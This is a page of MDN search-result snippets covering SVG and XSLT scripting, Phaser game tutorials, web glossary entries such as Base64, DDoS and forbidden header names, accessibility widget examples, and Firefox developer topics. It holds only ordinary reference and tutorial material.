or if you want to use the backspace key in your code, you want to override the browser's default behavior when the backspace key is pressed, which is to go back to the previous page.
... function myrect(x,y,w,h,message){ this.message=message this.rect=document.createelementns("http://www.w3.org/2000/svg","rect") this.rect.setattributens(null,"x",x) this.rect.setattributens(null,"y",y) this.rect.setattributens(null,"width",w) this.rect.setattributens(null,"height",h) document.documentelement.appendchild(this.rect) this.rect.addeventlistener("click",this,false) this.handleevent= function(evt){ switch (evt.type){ case "click": alert(this.message) break; } } } inter-document scripting: referencing embedded svg when using svg within html, adobe's svg viewer 3.0 automatically includes a window property called svgdocument that points to the svg document.
...ment representing an svg document is to look at htmliframeelement.contentdocument (if the document is presented in an <iframe>) or htmlobjectelement.contentdocument (if the document is presented in an <object> element), like this: var svgdoc = document.getelementbyid("iframe_element").contentdocument; in addition, the <iframe>, <embed>, and <object> elements offer a method, getsvgdocument(), which returns the xmldocument representing the element's embedded svg or null if the element doesn't represent an svg document.
...And 2 more matches
Secure contexts - Web security
a secure context is a window or worker for which certain minimum standards of authentication and confidentiality are met.
... get access to data such as user credentials.
...that’s because the determination of whether or not a particular document is in a secure context is based only on considering it within the top-level browsing context with which it is associated — and not whether a non-secure context happened to be used to create it.
...And 2 more matches
Axes - XPath
WebXPathAxes
child indicates the children of the context node.
...since only the root node or element nodes have children, any other use will select nothing.
... descendant indicates all of the children of the context node, and all of their children, and so forth.
...And 2 more matches
<xsl:key> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementkey
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:key> element declares a named key which can be used elsewhere in the stylesheet with the key( ) function.
... syntax <xsl:key name=name match=expression use=expression /> required attributes name specifies a name for this key.
... match defines the nodes for which this key is applicable.
...And 2 more matches
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
no syntax checking is done on the attribute, however if it is not a valid ncname it will never match any parameter in the stylesheet.
...no syntax checking is done on the attribute.
... note that value="..." is not strictly equal to select="'...'" since the value can contain both apostrophe and quote characters.
...And 2 more matches
Basic Example - XSLT: Extensible Stylesheet Language Transformations
</myns:body> </myns:article> figure 5 : xslt stylesheet <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:myns="http://devedge.netscape.com/2002/de"> <xsl:output method="html" /> <xsl:template match="/"> <html> <head> <title> <xsl:value-of select="/myns:article/myns:title"/> </title> <style type="text/css"> .mybox {margin:10px 155px 0 50px; border: 1px dotted #639ace; padding:0 5px 0 5px;} </style> </head> <body> <p class="mybox"> <span class="title"> <xsl:value-of select="/myns:artic...
...le/myns:title"/> </span> <br /> authors: <br /> <xsl:apply-templates select="/myns:article/myns:authors/myns:author"/> </p> <p class="mybox"> <xsl:apply-templates select="//myns:body"/> </p> </body> </html> </xsl:template> <xsl:template match="myns:author"> -- <xsl:value-of select="." /> <xsl:if test="@company"> :: <b> <xsl:value-of select="@company" /> </b> </xsl:if> <br /> </xsl:template> <xsl:template match="myns:body"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> <xsl:template match="@*|node()"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> </xsl:styleshee...
...t> the example loads using synchronous xmlhttprequest both the .xsl (xslstylesheet) and the .xml (xmldoc) files into memory.
...And 2 more matches
XSLT: Extensible Stylesheet Language Transformations
WebXSLT
although the process is referred to as "transformation," the original document is not changed; rather, a new xml document is created based on the content of an existing document.
... then, the new document may be serialized (output) by the processor in standard xml syntax or in another format, such as html or plain text.
... xslt is most often used to convert data between different xml schemas or to convert xml data into web pages or pdf documents.
...And 2 more matches
Index - WebAssembly
found 12 pages: # page tags and summary 1 webassembly landing, webassembly, wasm webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++ with a compilation target so that they can run on the web.
... 2 caching compiled webassembly modules caching, indexeddb, javascript, module, webassembly, compile, wasm caching is useful for improving the performance of an app — we can store compiled webassembly modules on the client so they don't have to be downloaded and compiled every time.
... 8 index index, webassembly found 12 pages: 9 loading and running webassembly code fetch, javascript, webassembly, xmlhttprequest, bytecode to use webassembly in javascript, you first need to pull your module into memory before compilation/instantiation.
...And 2 more matches
Publishing games - Game development
html5 games have a huge advantage over native in terms of publishing and distribution — you have the freedom of distribution, promotion and monetization of your game on the web, rather than each version being locked into a single store controlled by one company.
...you have to let the world know that you have made something interesting available, which people will enjoy playing.
... there are many game promotion techniques — many of them free — so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game.
...the technology is mature enough; it's just a matter of chosing the right approach.
Async scripts for asm.js - Game development
in gecko, async compilation allows the javascript engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (starting in firefox 28).
... putting async into action getting async compilation is easy: when writing your javascript, just use the async attribute like so: <script async src="file.js"></script> or, to do the same thing via script: var script = document.createelement('script'); script.src = "file.js"; document.body.appendchild(script); (scripts created from script default to async.) the default html shell emscripten generates produces the latter.
... two common situations in which a script is *not* async (as defined by the html spec) are: <script async>code</script> and var script = document.createelement('script'); script.innerhtml = "code"; document.body.appendchild(script); both are counted as 'inline' scripts and get compiled and then run immediately.
...instead of using eval or innerhtml, both of which trigger synchronous compilation, you should use a blob with an object url: var blob = new blob([codestring]); var script = document.createelement('script'); var url = url.createobjecturl(blob); script.onload = script.onerror = function() { url.revokeobjecturl(url); }; script.src = url; document.body.appendchild(script); the setting of src rather than innerhtml is what makes this script async.
Tools for game development - Game development
on this page you can find links to our game development tools articles, which eventually aims to cover frameworks, compilers, and debugging tools.
... asm.js asm.js is a very limited subset of the javascript language, which can be greatly optimized and run in an ahead-of-time (aot) compiling engine for much faster performance than your typical javascript performance.
... toolchain for developing and debugging games how does this differ from normal web app debugging?
...a lot of this is going to be covered by will in tools, but here we should provide a kind of practical toolchain tutorial for debugging games, with links to will's stuff: basic tools overview shader editor performance tools (still in production, estimated early 2014) ...
Game over - Game development
to make the game more interesting we can introduce the ability to lose — if you don't hit the ball before it reaches the bottom edge of the screen it will be game over.
...add the code below inside the create() function; just after you define the ball's attributes is fine: game.physics.arcade.checkcollision.down = false; this will make the three walls (top, left and right) bounce the ball back, but the fourth (bottom) will disappear, letting the ball fall off the screen if the paddle misses it.
...add the following lines just below the previous new one: ball.checkworldbounds = true; ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); adding those lines will make the ball check the world (in our case canvas) bounds and execute the function bound to the onoutofbounds event.
... compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps now the basic gameplay is in place let's make it more interesting by introducing bricks to smash — it's time to build the brick field.
Initialize the framework - Game development
using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev phaser workshop - lesson 01: initialize the framework</title> <style>* { padding: 0; margin: 0; }</style> <script src="js/phaser.min.js"></script> </head> <body> <script> var game = new phaser.game(480, 320, phaser.canvas, null, { preload: preload, create: create, update: update }); function preload() {} function create() {} fun...
... choose an option that suits you best — i would recommend the min.js option as it keeps the source code smaller, and you are unlikely need to go through the source code anyway.
... walking through what we have so far at this point we have a charset defined, <title> and some basic css in the header to reset the default margin and padding.
...we can set one of the latter two explicitly or use auto to let phaser decide which one to use.
Move the ball - Game development
updating the ball's position on each frame remember the update() function and its definition?
...add the following new lines of the code inside update(), as shown: function update() { ball.x += 1; ball.y += 1; } the code above adds 1 to the x and y properties representing the the ball coordinates on the canvas, on each frame.
... compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps the next step is to add some basic collision detection, so our ball can bounce off the walls.
... this would take several lines of code — a significantly more complex step than we have seen so far, especially if we want to add paddle and brick collisions too — but fortunately phaser allows us to do this much more easily than if we wanted to use pure javascript.
Tutorials - Game development
along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states.
...this idea here is to teach some of the fundamentals (and advantages) of working with frameworks, along with fundamental game mechanics.
... 2d maze game with device orientation this tutorial shows how to create a 2d maze game using html5, incorporating fundamentals such as collision detection and sprite placement on a <canvas>.
... 2d platform game with phaser this tutorial series shows how to create a simple platform game using phaser, covering fundamentals such as sprites, collisions, physics, collectables, and more.
API - MDN Web Docs Glossary: Definitions of Web-related terms
the api can be seen as a simple contract (the interface) between the application offering it and other items, such as third party software or hardware.
... for example: the getusermedia api can be used to grab audio and video from a user's webcam, which can then be used in any way the developer likes, for example, recording video and audio, broadcasting it to another user in a conference call, or capturing image stills from the video.
...gps), which can then be used in conjunction with the google maps apis to for example plot the user's location on a custom map and show them what tourist attractions are in their area.
... learn more general knowledge api on wikipedia technical reference web api reference ...
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
base64 is a group of similar binary-to-text encoding schemes that represent binary data in an ascii string format by translating it into a radix-64 representation.
... base64 encoding schemes are commonly used when there is a need to encode binary data that needs to be stored and transferred over media that are designed to deal with ascii.
... note that btoa() expects to be passed binary data, and will throw an exception if the given string contains any characters whose utf-16 representation occupies more than one byte.
... encoded size increase each base64 digit represents exactly 6 bits of data.
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
a style declaration contains the properties and their values, which determine how a webpage looks.
... css is one of the three core web technologies, along with html and javascript.
...*/ background-color: black } "cascading" refers to the rules that govern how selectors are prioritized to change a page's appearance.
... learn more general knowledge learn css css on wikipedia technical reference the css documentation on mdn the css working group current work ...
CSS Object Model (CSSOM) - MDN Web Docs Glossary: Definitions of Web-related terms
the css object model (cssom) is a map of all css selectors and relevant properties for each selector in the form of a tree, with a root node, sibling, descendant, child, and other relationship.
...both of them are part of the critical rendering path which is a series of steps that must happen to properly render a website.
... the cssom, together with the dom, to build the render tree, which is in turn used by the browser to layout and paint the web page.
...it is much like the dom, but for the css rather than the html.
Selector (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
a css selector is the part of a css rule that describes what elements in a document the rule will match.
... the matching elements will have the rule's specified style applied to them.
... consider this css: p { color: green; } div.warning { width: 100%; border: 2px solid yellow; color: white; background-color: darkred; padding: 0.8em 0.8em 0.6em; } #customized { font: 16px lucida grande, arial, helvetica, sans-serif; } the selectors here are "p" (which applies the color green to the text inside any <p> element), "div.warning" (which makes any <div> element with the class "warning" look like a warning box), and "#customized", which sets the base font of the element with the id "customized" to 16-pixel tall lucida grande or one of a few fallback fonts.
... we can then apply this css to some html, such as: <p>this is happy text.</p> <div class="warning"> be careful!
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
a call stack is a mechanism for an interpreter (like the javascript interpreter in a web browser) to keep track of its place in a script that calls multiple functions — what function is currently being run and what functions are called from within that function, etc.
... any functions that are called by that function are added to the call stack further up, and run where their calls are reached.
... example function greeting() { // [1] some codes here sayhi(); // [2] some codes here } function sayhi() { return "hi!"; } // invoke the `greeting` function greeting(); // [3] some codes here the code above would be executed like this: ignore all functions, until it reaches the greeting() function invocation.
... call stack list: - sayhi - greeting execute all lines of code inside the sayhi() function, until reaches its end.
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
sometimes, this task is also referred to as "assembling" or "build", which typically indiciates more than just compilation is done, e.g.
... usually, a compiler transforms a higher-level language such as c or java, which humans understand, into a machine language, such as assembly, that the cpu can understand.
... some compilers which translate between similar level languages are called transpilers or cross-compilers, for instance to compile from typescript to javascript.
...for instance in the browser: firefox' spidermonkey javascript engine has a jit built-in that will compile javascript in a website to machine code while you're viewing it so it runs faster.
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
the control flow is the order in which the computer executes statements in a script.
... code is run in order from the first line in the file to the last line, unless the computer runs across the (extremely frequent) structures that change the control flow, such as conditionals and loops.
...the function could also include a loop, which iterates through all of the fields in the form, checking each one in turn.
... learn more general knowledge control flow on wikipedia technical reference javascript reference - control flow on mdn learn about it statements (control flow) on mdn ...
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
the name originates from the greek letter Δ (delta), which is equivalent to the letter d in the roman alphabet.
... the term delta is commonly used when communicating changes in speed, position, or acceleration of a physical or virtual object.
... it's also used when describing changes in the volume or frequency of sound waves.
... likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved previous condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example.
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
a distributed denial-of-service (ddos) is an attack in which many compromised systems are made to attack a single target, in order to swamp server resources and block legitimate users.
...eventually, the assailant instructs the controlled machines to launch an attack against a specified target.
... there are two types of ddos attacks: a network-centric attack (which overloads a service by using up bandwidth) and an application-layer attack (which overloads a service or database with application calls).
... the overflow of data to the target causes saturation in the target machine so that it cannot respond or responds very slowly to legitimate traffic (hence the name "denial of service").
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
modifying such headers is forbidden because the user agent retains full control over them.
... names starting with `sec-` are reserved for creating new headers safe from apis using fetch that grant developers control over headers, such as xmlhttprequest.
... forbidden header names start with proxy- or sec-, or are one of the following names: accept-charset accept-encoding access-control-request-headers access-control-request-method connection content-length cookie cookie2 date dnt expect feature-policy host keep-alive origin proxy- sec- referer te trailer transfer-encoding upgrade via note: the user-agent header is no longer forbidden, as per spec — see forbidden header name list (this was implemented in firefox 43) — it can now be set in a fetch headers object, or via xhr setrequestheader().
... however, chrome will silently drop the header from fetch requests (see chromium bug 571722).
JSON - MDN Web Docs Glossary: Definitions of Web-related terms
javascript object notation (json) is a data-interchange format.
... much like xml, json has the ability to store hierarchical data unlike the more traditional csv format.
... many tools provide translation between these formats such as this online json to csv converter or this alternative json to csv converter.
... learn more general knowledge json on wikipedia technical reference json on mdn ...
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
summary javascript (or "js") is a programming language used most often for dynamic client-side scripts on webpages, but it is also often used on the server-side, using a runtime such as node.js.
... origins and history conceived as a server-side language by brendan eich (then employed by the netscape corporation), javascript soon came to netscape navigator 2.0 in september 1995.
...node.js - built using chrome's v8 javascript engine - allows developers to use javascript as a scripting language to automate things on a computer and build fully functional http and web sockets servers.
... learn more general knowledge javascript on wikipedia learning javascript the javascript guide on mdn the "javascripting" workshop on nodeschool the javascript course on codecademy.com john resig's learning advanced javascript technical reference the latest ecmascript standard the javascript reference on mdn the eloquent javascript book ...
Keyword - MDN Web Docs Glossary: Definitions of Web-related terms
online keywords are used as queries for search engines or as words identifying content on websites.
... when you use a search engine, you use keywords to specify what you are looking for, and the search engine returns relevant webpages.
... for more accurate results, try more specific keywords, such as "blue mustang gto" instead of simply "mustang".
... webpages also use keywords in a meta tag (in the <head> section) to describe page content, so search engines can better identify and organize webpages.
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp navigation directives are used in a content-security-policy header and govern to which location a user can navigate to or submit a form to, for example.
... list of csp navigation directives form-action restricts the urls which can be used as the target of a form submissions from a given context.
... navigate-to restricts the urls to which a document can initiate navigation by any means, including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
... learn more https://www.w3.org/tr/csp/#directives-navigation other kinds of directives: fetch directive document directive reporting directive block-all-mixed-content upgrade-insecure-requests require-sri-for trusted-types content-security-policy ...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
would you need to look at the code to understand what the function did if it was called build('peach'), or createliwithcontent('peach')?
... semantics in html in html, for example, the <h1> element is a semantic element, which gives the text it wraps around the role (or meaning) of "a top level heading on your page." <h1>this is a top level heading</h1> by default, most browser's user agent stylesheet will style an <h1> with a large font size to make it look like a heading (although you could style it to look like anything you wanted).
... some of the benefits from writing semantic markup are as follows: search engines will consider its contents as important keywords to influence the page's search rankings (see seo) screen readers can use it as a signpost to help visually impaired users navigate a page finding blocks of meaningful code is significantly easier than searching though endless divs with or without semantic or namespaced classes suggests to the developer the type of data that will be popul...
...ated semantic naming mirrors proper custom element/component naming when approaching which markup to use, ask yourself, "what element(s) best describe/represent the data that i'm going to populate?" for example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc.
Signature (functions) - MDN Web Docs Glossary: Definitions of Web-related terms
a signature can include: parameters and their types a return value and type exceptions that might be thrown or passed back information about the availability of the method in an object-oriented program (such as the keywords public, static, or prototype).
... the method accepts one parameter, which is called value and is not further defined.
... signatures in java in java, signatures are used to identify methods and classes at the level of the virtual machine code.
...java is strictly typed and will check any parameters at compilation time if they are correct.
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
syntax specifies the required combination and sequence of characters making up correctly structured code.
... syntax generally includes grammar and the rules that apply to writing it, such as indentation requirements in python.
... syntax only governs ordering and structure; the instructions must also be meaningful, which is the province of semantics.
...if a codebase uses "a lot of syntax", it requires more characters to achieve the same functionality.
Tag - MDN Web Docs Glossary: Definitions of Web-related terms
the name of an html element is the name used in angle brackets such as <p> for paragraph.
... note that the end tag's name is preceded by a slash character, </p>, and that in empty elements, the end tag is neither required nor allowed.
... if attributes are not mentioned, default values are used in each case.
... learn more general knowledge html element on wikipedia html elements syntax on whatwg technical reference introduction to html ...
Texel - MDN Web Docs Glossary: Definitions of Web-related terms
a texel is a single-pixel within a texture map, which is an image that gets used (in whole or in part) as the image presented on a polygon's surface within a 3d rendered image.
... it is not to be confused with pixel which is the unit of screen space.
... the process of mapping the appropriate texel’s to their corresponding points on a polygon is called texture mapping, which is a stage of the process of rendering a 3d image for display.
... textures are characterised by collections of texel’s, as how images are characterised by collections of pixels.
Type - MDN Web Docs Glossary: Definitions of Web-related terms
type is a characteristic of a value affecting what kind of data it can store, and the structure that the data will adhere to.
... for example, a boolean data type can hold only a true or false value at any given time, whereas a string has the ability to hold a string or a sequence of characters, a number can hold numerical values of any kind, and so on.
...for example, a value of type number can be multiplied by another number, but not by a string - even if that string contains only a number, such as the string "2".
...comparison between structured types is not always an easy assumption, as even if the previous data structure is the same, there could be inherited structures inside of the prototype chain.
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
they outline a set of guidelines for making content accessible primarily for people with disabilities but also for limited-resource devices such as mobile phones.
... wcag 2.0 which superseded wcag 1.0 was published as a w3c recommendation on 11 december 2008.
... it consists of 12 guidelines organized under 4 principles (perceivable, operable, understandable, and robust) and each guideline has testable success criteria.
... learn more general knowledge wcag on wikipedia technical knowledge accessibility information on mdn the wcag 2.0 recommendation at the w3c ...
WebIDL - MDN Web Docs Glossary: Definitions of Web-related terms
webidl is the interface description language used to describe the data types, interfaces, methods, properties, and other components which make up a web application programming interface (api).
... it uses a somewhat stylized syntax which is independent of any specific programming language, so that the underlying code which is used to build each api can be written in whatever language is most appropriate, while still being possible to map the api's components to javascript-compatible constructs.
... webidl is used in nearly every api specification for the web, and due to its standard format and syntax, the programmers who create web browsers can more easily ensure that their browsers are compatible with one another, regardless of how they choose to write the code to implement the api.
... learn more technical reference specification webidl bindings webidl ...
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
tim berners-lee proposed the architecture of what became known as the world wide web.
... he created the first web server, web browser, and webpage on his computer at the cern physics research lab in 1990.
...this consortium consists of core web interest groups, such as web browser developers, government entities, researchers, and universities.
... its mission includes education and outreach.
XML - MDN Web Docs Glossary: Definitions of Web-related terms
the information technology (it) industry uses many languages based on xml as data-description languages.
... xml tags resemble html tags, but xml is much more flexible because it lets users define their own tags.
... in this way xml acts like a meta-language—that is, it can be used to define other languages, such as rss.
...for example, web services can use xml to exchange requests and responses.
Test your skills: backgrounds and borders - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... make sure that the heading text does not overlay the image, and that it is centered — you will need to use techniques learned in previous lessons to achieve this.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
...your post should include: a descriptive title such as "assessment wanted for flexbox layout 1 skill test".
What HTML features promote accessibility? - Learn web development
tabbing users who do not or cannot use pointing devices can tab through links and, as such, links should be in a logical tabbing order.
... <ul> <li><a href="here.html" tabindex="1">here</a></li> <li><a href="there.html" tabindex="3">there</a></li> <li><a href="anywhere.html" tabindex="2">anywhere</a></li> </ul> in this example (which is used purely as a demonstration—do not do this), tabbing would jump from “here” to “anywhere” to “there”.
...<a href="inept.html" title="why i'm rubbish at writing link text: an explanation and an apology.">click here</a> to find out more.</p> access keys access keys provide easier navigation by assigning a keyboard shortcut to a link, which will usually gain focus when the user presses alt or ctrl + the access key.
... <a href="somepage.html" accesskey="s">some page</a> skip links to aid tabbing, you can supply links that allow users to jump over chunks of your web page.
Example 3 - Learn web development
change states html content <form class="no-widget"> <select name="myfruit" tabindex="-1"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select" tabindex="0"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> </form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --...
... .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(selec...
...t, selectlist) { if (select.classlist.contains('active')) return; selectlist.foreach(deactivateselect); select.classlist.add('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = doc...
...ument.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (option) { option.addeventlistener('mouseover', function () { highlightoption(select, option); }); }); select.addeventlistener('click', function (event) { toggleoptlist(select); }, false); select.addeventlistener('focus', function (event) { activeselect(select, selectlist); }); select.addeventlistener('blur', function (event) { deactivateselect(select); }); select.addeventlistener('keyup', function (event) { if (event.keycode === 27) { deactivateselect(select); } }); }); }); result ...
Example 5 - Learn web development
change states html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select" role="listbox"> <span class="value">cherry</span> <ul class="optlist hidden" role="presentation"> <li class="option" role="option" aria-selected="true">cherry</li> <li class="option" role="option">lemon</li> <li class="option" role="option">banana</li> <li class="option" role="option">strawberry</li> <li class="option" role="option">apple</li> </ul> </div> </form> css content .widget select, .no-widget .select { ...
... .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(selec...
...t, selectlist) { if (select.classlist.contains('active')) return; selectlist.foreach(deactivateselect); select.classlist.add('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.previouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.setattribute('aria-selected', 'false'); }); optio...
...ibling; return nativewidget.selectedindex; }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.previouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.addeventlistener('mouseover', function () { highlightoption(select, option); }); ...
Test your skills: HTML5 controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... html5 controls 2 next, we want you to implement a slider control to allow the user to choose a maximum number of people to invite to their party.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
...your post should include: a descriptive title such as "assessment wanted for html5 controls 1 skill test".
Test your skills: Styling basics - Learn web development
note: you can try out solutions by editing the starting point file locally, however it may be helpful to put your code in an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... use some kind of layout technique to make the inputs and labels line up neatly.
... if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
...your post should include: a descriptive title such as "assessment wanted for styling basics 1 skill test".
Use JavaScript within a webpage - Learn web development
rely on html for your content as much as possible.
... for example, if you've implemented a nice javascript progress bar, make sure to supplement it with matching text percentages inside the html.
... if you use pointer events (like mouse events or touch events), duplicate the functionality with keyboard events.
...you can hardly ever predict just how long it will take for users or browsers to complete an process (especially asynchronous actions such as loading resources).
HTML Tables - Learn web development
LearnHTMLTables
coupled with a little css for styling, html makes it easy to display tables of information on the web such as your school lesson plan, the timetable at your local swimming pool, or statistics about your favorite dinosaurs or football team.
... note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... guides this module contains the following articles: html table basics this article gets you started with html tables, covering the very basics such as rows and cells, headings, making cells span multiple columns and rows, and how to group together all the cells in a column for styling purposes.
... html table advanced features and accessibility this module looks at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
JavaScript building blocks - Learn web development
in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to commonly-encountered types of code blocks such as conditional statements, loops, functions, and events.
... note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
...in this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define functions, scope, and parameters.
... introduction to events events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired.
Adding phishing protection data providers
phishing protection technology lets firefox help protect users by comparing the urls the user visits to a list of known scam sites, and presenting a warning to the user when they visit a site on the list.
... each data provider has a unique id number.
... browser.safebrowsing.provider.idnum.reporterrorurl an url to which the user is directed in order to report a safe page that is incorrectly being reported as a phishing site.
... browser.safebrowsing.provider.idnum.reportphishurl an url to which the user is directed in order to report a phishing site that isn't detected by the phishing protection system.
Bugzilla
how to tell if a bug has already been reported it's useful (but not mandatory) for you to check if the problem you're reporting has been already tracked.
... other materials an introduction to bugzilla bugzilla for humans bugzilla quicksearch help page.
... quicksearch is a quick, easy, and very effective way of quickly querying bugzilla.
... testopia - test case management extension bugzilla.org - the project site wikipedia:bugzilla - general description of bugzilla (not specific to mozilla projects) bmo on wiki.mozilla.org - information about mozilla's customized bugzilla installation, including how to contribute to it tools bugzilla todos lists review and flag requests, patches to check in, unfulfilled requests you made of other people, and assigned bugs.
Creating JavaScript callbacks in components
basically, the component defines an observer (or listener) interface which is implemented by some external code and this implementation is passed to the component.
...remember (or discover) that addeventlistener is a method of the nsidomeventtarget interface and is defined as such: void addeventlistener(in domstring type, in nsidomeventlistener listener, in boolean usecapture); however, it is extremely common to see developers pass a normal javascript function for the listener instead of an nsidomeventlistener implementation: function doload(event) { // do something here } window.addeventlistener("load", doload, false); reve...
...the function attribute tells the xpconnect machinery to treat the javascript function as if it was an implementation of the callback interface.
...so we could convert the example above to accept javascript functions in place of the stringparserobserver by making the following changes: [scriptable, function, uuid(...)] interface stringparserobserver : nsisupports { void onword(string word); }; [scriptable, uuid(...)] interface stringparser { void parse(string data); void addobserver(stringparserobserver observer); }; note the only change was adding function to the interface attributes of the callback interface.
Debugging OpenGL
if you start up firefox with this variable defined, the following behavior changes occur: each time you issue an opengl call, a check is performed to ensure that the gl context is current, using a thread-local static variable to keep track of this.
...this flushes out each call, essentially turning opengl into a synchronous api.
... this makes debugging crashes caused by an opengl call much easier, since the stack you see will match where the call was issued, rather than some time in the future when it happens to run and crash.
...this can help make it much easier to debug crashes and hangs that make the computer unusable (thereby stymieing attempts to debug).
Gmake vs. Pymake
path issues on windows on windows, you must take special care to be able to switch back and forth between gmake and pymake on the same object dir.
... if you try to switch from gmake to pymake or pymake to gmake the build will fail unless you did a relative configure.
... a relative configure produces paths that look like "../../foo" which can be understood by gmake and pymake.
...you should also make sure that the object directory path specified in your mozconfig matches the directory in which you're invoking pymake.
mozbrowserasyncscroll
there may also be large incompatibilities between implementations and the behavior may change in the future.
...this indicates that the content is over-scrolled, which occurs when the page "rubber-bands" after being scrolled all the way to the bottom.
